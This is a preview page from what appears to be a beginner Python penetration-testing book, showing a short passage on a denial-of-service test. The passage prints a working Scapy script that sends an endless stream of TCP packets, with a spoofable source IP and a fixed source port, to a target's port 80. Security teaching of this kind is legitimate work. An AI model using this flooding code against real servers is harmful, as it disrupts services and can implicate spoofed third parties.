May 2018
Beginner
230 pages
4h 49m
English
In this attack, we send a huge number of packets to the web server using a single IP (which might be spoofed) and from a single source port number. This is a very low-level DoS attack and will test the web server's request-handling capacity.
The following is the code of sisp.py:
from scapy.all import *
src = raw_input("Enter the Source IP ")
target = raw_input("Enter the Target IP ")
srcport = int(raw_input("Enter the Source Port "))
i=1
while True:
IP1 = IP(src=src, dst=target)
TCP1 = TCP(sport=srcport, dport=80)
pkt = IP1 / TCP1
send(pkt,inter= .001)
print "packet sent ", i
i=i+1
I have used scapy to write this code and I hope that you are familiar with this. The preceding code asks for three things: the source IP ...
Read now
Unlock full access